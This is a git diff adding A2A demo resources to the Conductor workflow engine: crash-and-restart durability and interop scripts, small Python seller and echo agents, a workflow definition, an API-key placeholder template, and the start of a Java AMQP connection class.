start the remote A2A seller agent (separate process — survives Conductor's restart) ── +say "Starting the remote A2A restaurant agent (SELLER_DELAY=${SELLER_DELAY}s)" +SELLER_DELAY="$SELLER_DELAY" python3 "$HERE/seller_agent.py" > /tmp/conductor-durable-demo.seller.log 2>&1 & +SELLER_PID=$! +for _ in $(seq 1 20); do curl -sS -m2 -o /dev/null localhost:9999/.well-known/agent.json 2>/dev/null && break; sleep 0.3; done +ok "Restaurant agent up on :9999" + +# ── 2. build + start Conductor (SQLite = durable, zero external deps) ──────────────────────── +say "Building the Conductor server jar (this branch, with A2A)" +"$ROOT/gradlew" -p "$ROOT" :conductor-server:bootJar -q +JAR="$(ls "$ROOT"/server/build/libs/*-boot.jar | head -1)" +say "Starting Conductor (SQLite at $DB)" +start_server +wait_health + +# ── 3. register the concierge workflow ────────────────────────────────────────────────────── +say "Registering the durable_purchase workflow" +curl -sS -X POST "localhost:$PORT/api/metadata/workflow" \ + -H 'Content-Type: application/json' -d @"$HERE/durable_purchase.json" +ok "Registered" + +# ── 4. place an order ───────────────────────────────────────────────────────────────────── +say "Placing an order (the concierge calls the restaurant agent via AGENT)" +WFID="$(curl -sS -X POST "localhost:$PORT/api/workflow/durable_purchase" \ + -H 'Content-Type: application/json' \ + -d '{"orderText":"1 large pepperoni pizza","agentUrl":"http://localhost:9999"}')" +ok "Order started — workflowId=$WFID" + +# ── 5. wait until the order is being prepared (AGENT IN_PROGRESS) ─────────────────────── +say "Waiting for the order to be in preparation (workflow RUNNING, task IN_PROGRESS)" +for _ in $(seq 1 30); do + [ "$(wf_status "$WFID")" = "RUNNING" ] && break; sleep 1 +done +ok "Order in preparation. Status=$(wf_status "$WFID")" + +# ── 6. 💥 CRASH ───────────────────────────────────────────────────────────────────────────── +say "💥 Killing the Conductor server MID-ORDER (kill -9)" +kill -9 "$SERVER_PID"; SERVER_PID="" +sleep 2 +ok "Conductor is DOWN. The order is in flight; an in-memory host would have just lost it." + +# ── 7. restart on the same SQLite store ────────────────────────────────────────────────────── +say "Restarting Conductor on the SAME persistent store" +start_server +wait_health + +# ── 8. the order resumes and completes ─────────────────────────────────────────────────────── +say "Waiting for the order to COMPLETE after the restart" +for _ in $(seq 1 60); do + S="$(wf_status "$WFID")"; [ "$S" = "COMPLETED" ] || [ "$S" = "FAILED" ] && break; sleep 2 +done +echo +curl -sS "localhost:$PORT/api/workflow/$WFID" | python3 -c ' +import sys, json +wf = json.load(sys.stdin) +print(" workflow status :", wf["status"]) +print(" receipt :", (wf.get("output") or {}).get("receipt")) +' +[ "$(wf_status "$WFID")" = "COMPLETED" ] \ + && ok "ORDER SURVIVED THE CRASH AND COMPLETED. That is durable A2A." \ + || { echo "Demo did not complete — see $SERVER_LOG"; exit 1; } diff --git a/ai/src/test/resources/a2a/durable-demo/seller_agent.py b/ai/src/test/resources/a2a/durable-demo/seller_agent.py new file mode 100644 index 0000000..806cea5 --- /dev/null +++ b/ai/src/test/resources/a2a/durable-demo/seller_agent.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python3 +"""A 'restaurant' A2A seller agent with a slow order — dependency-free (stdlib only). + +Speaks the A2A JSON-RPC wire protocol. message/send creates a task that stays WORKING for +SELLER_DELAY seconds (the agent is 'preparing the order'), then COMPLETES with a receipt. The +window is what lets us kill & restart Conductor mid-order in the durability demo. Task state is +computed from elapsed time, and this agent is a SEPARATE process that keeps running (and keeps its +per-task start times) across the Conductor restart — which is exactly why the order survives. + +Run: SELLER_DELAY=25 python3 seller_agent.py # serves http://localhost:9999 +""" +import json +import os +import time +import uuid +from http.server import BaseHTTPRequestHandler, HTTPServer + +DELAY = float(os.environ.get("SELLER_DELAY", "25")) +PORT = int(os.environ.get("SELLER_PORT", "9999")) +TASKS = {} # taskId -> (start_epoch, order_text) + +CARD = { + "name": "Restaurant Agent", + "description": "A slow restaurant A2A agent for the durable-A2A demo", + "url": f"http://localhost:{PORT}/", + "version": "1.0.0", + "protocolVersion": "0.3.0", + "capabilities": {"streaming": False, "pushNotifications": False}, + "defaultInputModes": ["text/plain"], + "defaultOutputModes": ["text/plain"], + "skills": [ + { + "id": "place_order", + "name": "Place order", + "description": "Takes a food order and returns a confirmed receipt", + "tags": ["ordering", "demo"], + } + ], +} + + +def _text(message): + parts = (message or {}).get("parts") or [] + return "\n".join(p.get("text", "") for p in parts if p.get("text")) or "your order" + + +def _task(task_id, state, receipt): + result = { + "kind": "task", + "id": task_id, + "contextId": "ctx-" + task_id[:8], + "status": {"state": state}, + } + if receipt: + result["artifacts"] = [ + {"artifactId": "receipt", "name": "receipt", + "parts": [{"kind": "text", "text": receipt}]} + ] + return result + + +def _task_state(task_id): + if task_id not in TASKS: + return _task(task_id, "failed", None) + start, order = TASKS[task_id] + if time.time() - start >= DELAY: + order_id = "ORD-" + uuid.uuid4().hex[:8].upper() + return _task(task_id, "completed", f"Order {order_id} confirmed: {order}. Enjoy!") + return _task(task_id, "working", None) + + +class Handler(BaseHTTPRequestHandler): + def _send(self, obj, code=200): + body = json.dumps(obj).encode() + self.send_response(code) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def do_GET(self): + if self.path.endswith("/.well-known/agent-card.json") or self.path.endswith( + "/.well-known/agent.json" + ): + self._send(CARD) + else: + self.send_response(404) + self.end_headers() + + def do_POST(self): + length = int(self.headers.get("Content-Length", 0)) + req = json.loads(self.rfile.read(length) or b"{}") + method = req.get("method") + params = req.get("params") or {} + rid = req.get("id") + if method == "message/send": + task_id = uuid.uuid4().hex + TASKS[task_id] = (time.time(), _text(params.get("message"))) + self._send({"jsonrpc": "2.0", "id": rid, "result": _task(task_id, "working", None)}) + elif method == "tasks/get": + self._send({"jsonrpc": "2.0", "id": rid, "result": _task_state(params.get("id"))}) + elif method == "tasks/cancel": + TASKS.pop(params.get("id"), None) + self._send( + {"jsonrpc": "2.0", "id": rid, "result": _task(params.get("id"), "canceled", None)} + ) + else: + self._send( + {"jsonrpc": "2.0", "id": rid, + "error": {"code": -32601, "message": "method not found: " + str(method)}} + ) + + def log_message(self, *args): + pass # quiet + + +if __name__ == "__main__": + print(f"Restaurant agent on http://localhost:{PORT} (SELLER_DELAY={DELAY}s)") + HTTPServer(("127.0.0.1", PORT), Handler).serve_forever() diff --git a/ai/src/test/resources/a2a/echo_agent.py b/ai/src/test/resources/a2a/echo_agent.py new file mode 100644 index 0000000..22c957b --- /dev/null +++ b/ai/src/test/resources/a2a/echo_agent.py @@ -0,0 +1,59 @@ +"""A minimal but real A2A agent on the official a2a-sdk. + +AGENT_MODE=task (default) returns a Task with an artifact; AGENT_MODE=message returns a +direct message. Run: AGENT_MODE=task python echo_agent.py +""" +import os +import uvicorn +from a2a.server.apps import A2AStarletteApplication +from a2a.server.request_handlers import DefaultRequestHandler +from a2a.server.tasks import InMemoryTaskStore, TaskUpdater +from a2a.server.agent_execution import AgentExecutor, RequestContext +from a2a.server.events import EventQueue +from a2a.types import AgentCapabilities, AgentCard, AgentSkill, Part, TextPart +from a2a.utils import new_agent_text_message, new_task + +MODE = os.environ.get("AGENT_MODE", "task") +PORT = int(os.environ.get("A2A_AGENT_PORT", "9999")) + + +class EchoAgentExecutor(AgentExecutor): + async def execute(self, context: RequestContext, event_queue: EventQueue) -> None: + user_text = context.get_user_input() or "" + if MODE == "message": + await event_queue.enqueue_event(new_agent_text_message(f"echo: {user_text}")) + return + task = context.current_task + if task is None: + task = new_task(context.message) + await event_queue.enqueue_event(task) + updater = TaskUpdater(event_queue, task.id, task.context_id) + await updater.start_work() + await updater.add_artifact( + [Part(root=TextPart(text=f"echo-task: {user_text}"))], name="echo" + ) + await updater.complete() + + async def cancel(self, context: RequestContext, event_queue: EventQueue) -> None: + raise Exception("cancel not supported") + + +def build_app(): + skill = AgentSkill( + id="echo", name="Echo", description="Echoes the user's input", + tags=["test"], examples=["hello"], + ) + card = AgentCard( + name="Echo Agent", description="A tiny real A2A echo agent", + url=f"http://localhost:{PORT}/", version="1.0.0", + defaultInputModes=["text"], defaultOutputModes=["text"], + capabilities=AgentCapabilities(streaming=True), skills=[skill], + ) + handler = DefaultRequestHandler( + agent_executor=EchoAgentExecutor(), task_store=InMemoryTaskStore() + ) + return A2AStarletteApplication(agent_card=card, http_handler=handler) + + +if __name__ == "__main__": + uvicorn.run(build_app().build(), host="127.0.0.1", port=PORT, log_level="warning") diff --git a/ai/src/test/resources/a2a/interop-demo/README.md b/ai/src/test/resources/a2a/interop-demo/README.md new file mode 100644 index 0000000..a24c2e1 --- /dev/null +++ b/ai/src/test/resources/a2a/interop-demo/README.md @@ -0,0 +1,58 @@ +# A2A interop showcase — Conductor calling a real, non-Conductor agent + +This demo points Conductor at a **genuine third-party A2A agent** — the official +[`a2a-sdk`](https://github.com/a2aproject/a2a-python) reference "echo" agent — and runs a workflow +that **discovers** it (`GET_AGENT_CARD`) and **calls** it (`AGENT`) over the real A2A JSON-RPC +wire protocol. It proves the integration works against the protocol's reference implementation, not +just our own fixtures. + +``` +┌─────────────────────────┐ A2A / JSON-RPC over HTTP ┌───────────────────────────┐ +│ Conductor (this branch) │ ───────────────────────────▶ │ echo agent (official │ +│ a2a_interop_echo wf │ GET /.well-known/card │ a2a-sdk — NOT Conductor) │ +│ GET_AGENT_CARD │ POST message/send │ :9998 │ +│ AGENT │ POST tasks/get │ │ +└─────────────────────────┘ ◀─────────────────────────── └───────────────────────────┘ +``` + +## Run it + +```bash +./run-interop-demo.sh +``` + +Requires Java 21+, curl, and either [`uv`](https://docs.astral.sh/uv/) (auto-creates a Python venv +with the `a2a-sdk`) or `A2A_VENV` pointing at a Python that already has `a2a-sdk` + `uvicorn`. No +Docker, no Redis, no API keys. + +Expected tail: + +``` + workflow status : COMPLETED + discovered agent: Echo Agent + agent state : completed + agent reply : echo-task: convert 100 USD to EUR +✓ Conductor discovered and called a real third-party A2A agent. That is A2A interop. +``` + +## Point it at other real agents + +Any A2A agent works — the workflow only needs its base URL. To showcase against the broader +ecosystem, run an agent from [`a2aproject/a2a-samples`](https://github.com/a2aproject/a2a-samples) +(e.g. `samples/python/agents/helloworld` or the LangGraph currency agent) and start the workflow +with that agent's URL: + +```bash +curl -X POST localhost:7002/api/workflow/a2a_interop_echo \ + -H 'Content-Type: application/json' \ + -d '{"agentUrl":"http://localhost:9999","prompt":"convert 100 USD to EUR"}' +``` + +## Related + +- **Automated interop test** (no manual steps): `A2ASdkInteropTest` launches this same `a2a-sdk` + agent as a subprocess and drives discovery + send + poll + streaming + message-mode against it. + Run with `A2A_PYTHON=/bin/python ./gradlew :conductor-ai:test --tests '*A2ASdkInteropTest'`. +- **Durability** (kill the server mid-call, it resumes): `../durable-demo/`. +- **Real-engine durability test** (CI, through the decider/sweeper/Redis): + `A2ADurableEngineEndToEndTest` in the `test-harness` module. diff --git a/ai/src/test/resources/a2a/interop-demo/a2a_interop_echo.json b/ai/src/test/resources/a2a/interop-demo/a2a_interop_echo.json new file mode 100644 index 0000000..9702dd0 --- /dev/null +++ b/ai/src/test/resources/a2a/interop-demo/a2a_interop_echo.json @@ -0,0 +1,27 @@ +{ + "name": "a2a_interop_echo", + "version": 1, + "schemaVersion": 2, + "description": "Conductor as an A2A client against a REAL non-Conductor agent: discover its Agent Card (GET_AGENT_CARD), then call it (AGENT). Works against any A2A agent — here the official a2a-sdk echo agent.", + "ownerEmail": "a2a@example.com", + "tasks": [ + { + "name": "discover_agent", + "taskReferenceName": "discover", + "type": "GET_AGENT_CARD", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}" + } + }, + { + "name": "call_agent", + "taskReferenceName": "call", + "type": "AGENT", + "inputParameters": { + "agentUrl": "${workflow.input.agentUrl}", + "text": "${workflow.input.prompt}", + "pollIntervalSeconds": 2 + } + } + ] +} diff --git a/ai/src/test/resources/a2a/interop-demo/run-interop-demo.sh b/ai/src/test/resources/a2a/interop-demo/run-interop-demo.sh new file mode 100755 index 0000000..1407f7d --- /dev/null +++ b/ai/src/test/resources/a2a/interop-demo/run-interop-demo.sh @@ -0,0 +1,111 @@ +#!/usr/bin/env bash +# +# A2A interop showcase — Conductor calling a REAL, non-Conductor agent. +# +# Starts the official a2a-sdk reference "echo" agent (a genuine third-party A2A server), then runs a +# Conductor workflow that (1) discovers the agent's Agent Card (GET_AGENT_CARD) and (2) calls it +# (AGENT) — proving end-to-end interop over the real A2A wire protocol. +# +# Requires: Java 21+, curl, and either `uv` (to auto-create a Python venv) OR set A2A_VENV to a +# Python that already has `a2a-sdk` + `uvicorn`. No Docker, no Redis, no API keys. +# Usage: ./run-interop-demo.sh +# +set -euo pipefail + +HERE="$(cd "$(dirname "$0")" && pwd)" +ROOT="$(cd "$HERE" && git rev-parse --show-toplevel)" +PORT=7002 +AGENT_PORT=9998 +DB="/tmp/conductor-a2a-interop.db" +SERVER_LOG="/tmp/conductor-a2a-interop.server.log" +AGENT_LOG="/tmp/conductor-a2a-interop.agent.log" +VENV="${A2A_VENV:-/tmp/a2a-interop-venv}" +SERVER_PID="" +AGENT_PID="" + +say() { printf '\n\033[1;36m▶ %s\033[0m\n' "$*"; } +ok() { printf '\033[1;32m✓ %s\033[0m\n' "$*"; } + +cleanup() { + [ -n "$SERVER_PID" ] && kill "$SERVER_PID" 2>/dev/null || true + [ -n "$AGENT_PID" ] && kill "$AGENT_PID" 2>/dev/null || true +} +trap cleanup EXIT + +wf_status() { curl -sS "localhost:$PORT/api/workflow/$1" | python3 -c 'import sys,json;print(json.load(sys.stdin)["status"])'; } + +# ── 0. fresh state ──────────────────────────────────────────────────────────────────────── +say "Cleaning previous demo state" +rm -f "$DB"* "$SERVER_LOG" "$AGENT_LOG" + +# ── 1. a real, non-Conductor A2A agent on the official a2a-sdk ────────────────────────────── +if [ ! -x "$VENV/bin/python" ]; then + command -v uv >/dev/null 2>&1 || { + echo "Need 'uv' to create the agent venv (https://docs.astral.sh/uv/), or set A2A_VENV to a" + echo "Python that already has a2a-sdk + uvicorn installed."; exit 1; } + say "Creating a Python venv with the official a2a-sdk (one-time)" + uv venv --python 3.12 "$VENV" + uv pip install --python "$VENV" "a2a-sdk>=0.2,<0.3" uvicorn +fi +PYTHON="$VENV/bin/python" + +say "Starting the REAL a2a-sdk echo agent on :$AGENT_PORT (a non-Conductor A2A server)" +A2A_AGENT_PORT="$AGENT_PORT" AGENT_MODE=task "$PYTHON" "$HERE/../echo_agent.py" > "$AGENT_LOG" 2>&1 & +AGENT_PID=$! +for _ in $(seq 1 40); do + curl -sS -m2 -o /dev/null "localhost:$AGENT_PORT/.well-known/agent-card.json" 2>/dev/null && break + sleep 0.3 +done +ok "Echo agent up — card: http://localhost:$AGENT_PORT/.well-known/agent-card.json" + +# ── 2. build + start Conductor (SQLite = zero external deps) ───────────────────────────────── +say "Building the Conductor server jar (this branch, with A2A)" +"$ROOT/gradlew" -p "$ROOT" :conductor-server:bootJar -q +JAR="$(ls "$ROOT"/server/build/libs/*-boot.jar | head -1)" + +say "Starting Conductor on :$PORT" +java -Dserver.port="$PORT" \ + -Dspring.datasource.url="jdbc:sqlite:$DB?busy_timeout=15000&journal_mode=WAL" \ + -Dconductor.integrations.ai.enabled=true \ + -Dconductor.a2a.client.allow-private-network=true \ + -jar "$JAR" > "$SERVER_LOG" 2>&1 & +SERVER_PID=$! +for _ in $(seq 1 60); do + curl -sS -m2 -o /dev/null "localhost:$PORT/health" 2>/dev/null && { ok "Conductor is up on :$PORT"; break; } + sleep 1 +done + +# ── 3. register + run the interop workflow ─────────────────────────────────────────────────── +say "Registering the a2a_interop_echo workflow (GET_AGENT_CARD → AGENT)" +curl -sS -X POST "localhost:$PORT/api/metadata/workflow" \ + -H 'Content-Type: application/json' -d @"$HERE/a2a_interop_echo.json" >/dev/null +ok "Registered" + +say "Running it against the real agent at http://localhost:$AGENT_PORT" +WFID="$(curl -sS -X POST "localhost:$PORT/api/workflow/a2a_interop_echo" \ + -H 'Content-Type: application/json' \ + -d "{\"agentUrl\":\"http://localhost:$AGENT_PORT\",\"prompt\":\"convert 100 USD to EUR\"}")" +ok "Started — workflowId=$WFID" + +# ── 4. wait for completion + show what the real agent returned ─────────────────────────────── +say "Waiting for the workflow to COMPLETE" +for _ in $(seq 1 30); do + S="$(wf_status "$WFID")"; { [ "$S" = "COMPLETED" ] || [ "$S" = "FAILED" ]; } && break; sleep 1 +done +echo +curl -sS "localhost:$PORT/api/workflow/$WFID" | python3 -c ' +import sys, json +wf = json.load(sys.stdin) +print(" workflow status :", wf["status"]) +for t in wf.get("tasks", []): + out = t.get("outputData") or {} + if t.get("taskType") == "GET_AGENT_CARD": + card = out.get("agentCard") or out + print(" discovered agent:", (card.get("name") if isinstance(card, dict) else card)) + if t.get("taskType") == "AGENT": + print(" agent state :", out.get("state")) + print(" agent reply :", out.get("text")) +' +[ "$(wf_status "$WFID")" = "COMPLETED" ] \ + && ok "Conductor discovered and called a real third-party A2A agent. That is A2A interop." \ + || { echo "Demo did not complete — see $SERVER_LOG and $AGENT_LOG"; exit 1; } diff --git a/ai/src/test/resources/ai-test-env.sh b/ai/src/test/resources/ai-test-env.sh new file mode 100644 index 0000000..af44041 --- /dev/null +++ b/ai/src/test/resources/ai-test-env.sh @@ -0,0 +1,104 @@ +#!/bin/bash +# AI Integration Test Environment Variables +# Source this file before running integration tests: +# source ai/src/test/resources/ai-test-env.sh +# +# Store your actual keys in a separate file that's NOT committed to git: +# cp ai-test-env.sh ai-test-env.local.sh +# # Edit ai-test-env.local.sh with your actual keys +# source ai-test-env.local.sh + +# ============================================================================ +# OpenAI +# ============================================================================ +export OPENAI_API_KEY="your-openai-api-key" +# Optional: Override base URL for OpenAI-compatible APIs +# export OPENAI_BASE_URL="https://api.openai.com/v1" + +# ============================================================================ +# Anthropic (Claude) +# ============================================================================ +export ANTHROPIC_API_KEY="your-anthropic-api-key" +# Optional: Override base URL +# export ANTHROPIC_BASE_URL="https://api.anthropic.com" + +# ============================================================================ +# Google Cloud / Gemini +# ============================================================================ +# Option 1: API key (Google AI Studio) - simplest setup +export GEMINI_API_KEY="your-gemini-api-key" +# Option 2: Vertex AI (GCP project + credentials) +export GOOGLE_PROJECT_ID="your-gcp-project-id" +export GOOGLE_LOCATION="us-central1" +# Set path to your service account JSON key file +export GOOGLE_APPLICATION_CREDENTIALS="/path/to/your/service-account-key.json" + +# ============================================================================ +# Mistral AI +# ============================================================================ +export MISTRAL_API_KEY="your-mistral-api-key" +# Optional: Override base URL +# export MISTRAL_BASE_URL="https://api.mistral.ai" + +# ============================================================================ +# Ollama (Local or GPT-OSS) +# ============================================================================ +# Default: http://localhost:11434 +export OLLAMA_BASE_URL="http://localhost:11434" +# Optional: If your Ollama requires authentication +# export OLLAMA_AUTH_HEADER_NAME="Authorization" +# export OLLAMA_AUTH_HEADER="Bearer your-token" + +# ============================================================================ +# Grok (xAI) +# ============================================================================ +export GROK_API_KEY="your-grok-api-key" +export GROK_BASE_URL="https://api.x.ai/v1" + +# ============================================================================ +# Cohere +# ============================================================================ +export COHERE_API_KEY="your-cohere-api-key" +export COHERE_BASE_URL="https://api.cohere.com" + +# ============================================================================ +# Perplexity +# ============================================================================ +export PERPLEXITY_API_KEY="your-perplexity-api-key" +export PERPLEXITY_BASE_URL="https://api.perplexity.ai" + +# ============================================================================ +# Azure OpenAI +# ============================================================================ +export AZURE_OPENAI_API_KEY="your-azure-openai-api-key" +export AZURE_OPENAI_ENDPOINT="https://your-resource.openai.azure.com" +# Optional: Deployment name for image generation +# export AZURE_OPENAI_DEPLOYMENT_NAME="dall-e-3" + +# ============================================================================ +# AWS Bedrock +# ============================================================================ +export AWS_ACCESS_KEY_ID="your-aws-access-key" +export AWS_SECRET_ACCESS_KEY="your-aws-secret-key" +export AWS_REGION="us-east-1" + +# ============================================================================ +# HuggingFace +# ============================================================================ +export HUGGINGFACE_API_KEY="your-huggingface-api-key" +export HUGGINGFACE_BASE_URL="https://api-inference.huggingface.co/models" + +echo "AI integration test environment variables loaded." +echo "Providers configured:" +[ -n "$OPENAI_API_KEY" ] && [ "$OPENAI_API_KEY" != "your-openai-api-key" ] && echo " ✓ OpenAI" +[ -n "$ANTHROPIC_API_KEY" ] && [ "$ANTHROPIC_API_KEY" != "your-anthropic-api-key" ] && echo " ✓ Anthropic" +[ -n "$GEMINI_API_KEY" ] && [ "$GEMINI_API_KEY" != "your-gemini-api-key" ] && echo " ✓ Gemini (API key)" +[ -n "$GOOGLE_PROJECT_ID" ] && [ "$GOOGLE_PROJECT_ID" != "your-gcp-project-id" ] && echo " ✓ Gemini/Vertex AI" +[ -n "$MISTRAL_API_KEY" ] && [ "$MISTRAL_API_KEY" != "your-mistral-api-key" ] && echo " ✓ Mistral" +[ -n "$OLLAMA_BASE_URL" ] && echo " ✓ Ollama (at $OLLAMA_BASE_URL)" +[ -n "$GROK_API_KEY" ] && [ "$GROK_API_KEY" != "your-grok-api-key" ] && echo " ✓ Grok (xAI)" +[ -n "$COHERE_API_KEY" ] && [ "$COHERE_API_KEY" != "your-cohere-api-key" ] && echo " ✓ Cohere" +[ -n "$PERPLEXITY_API_KEY" ] && [ "$PERPLEXITY_API_KEY" != "your-perplexity-api-key" ] && echo " ✓ Perplexity" +[ -n "$AZURE_OPENAI_API_KEY" ] && [ "$AZURE_OPENAI_API_KEY" != "your-azure-openai-api-key" ] && echo " ✓ Azure OpenAI" +[ -n "$AWS_ACCESS_KEY_ID" ] && [ "$AWS_ACCESS_KEY_ID" != "your-aws-access-key" ] && echo " ✓ AWS Bedrock" +[ -n "$HUGGINGFACE_API_KEY" ] && [ "$HUGGINGFACE_API_KEY" != "your-huggingface-api-key" ] && echo " ✓ HuggingFace" diff --git a/ai/src/test/resources/media/melon7391.png b/ai/src/test/resources/media/melon7391.png new file mode 100644 index 0000000000000000000000000000000000000000..3c7293f5ad77f1ddfea43f9e051fe05b1b2248b6 GIT binary patch literal 3574 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 + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.queue.amqp; + +import java.io.IOException; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Iterator; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.TimeoutException; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.contribs.queue.amqp.config.AMQPRetryPattern; +import com.netflix.conductor.contribs.queue.amqp.util.AMQPConstants; +import com.netflix.conductor.contribs.queue.amqp.util.ConnectionType; + +import com.rabbitmq.client.Address; +import com.rabbitmq.client.BlockedListener; +import com.rabbitmq.client.Channel; +import com.rabbitmq.client.Connection; +import com.rabbitmq.client.ConnectionFactory; +import com.rabbitmq.client.ShutdownListener; +import com.rabbitmq.client.ShutdownSignalException; + +public class AMQPConnection { + + private static Logger LOGGER = LoggerFactory.getLogger(AMQPConnection.class); + private volatile Connection publisherConnection = null; + private volatile Connection subscriberConnection = null; + private ConnectionFactory factory = null; + private Address[] addresses = null; + private static AMQPConnection amqpConnection = null; + private static final String PUBLISHER = "Publisher"; + private static final String SUBSCRIBER = "Subscriber"; + private static final Map> availableChannelPool = + new 